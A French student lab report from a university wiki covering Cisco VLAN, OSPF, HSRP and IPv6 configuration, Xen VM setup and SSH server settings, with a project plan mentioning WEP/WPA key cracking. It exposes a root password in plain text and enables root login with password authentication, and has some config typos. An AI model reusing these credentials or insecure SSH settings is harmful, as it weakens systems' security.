    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51571</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51571"/>
				<updated>2019-12-07T02:38:50Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
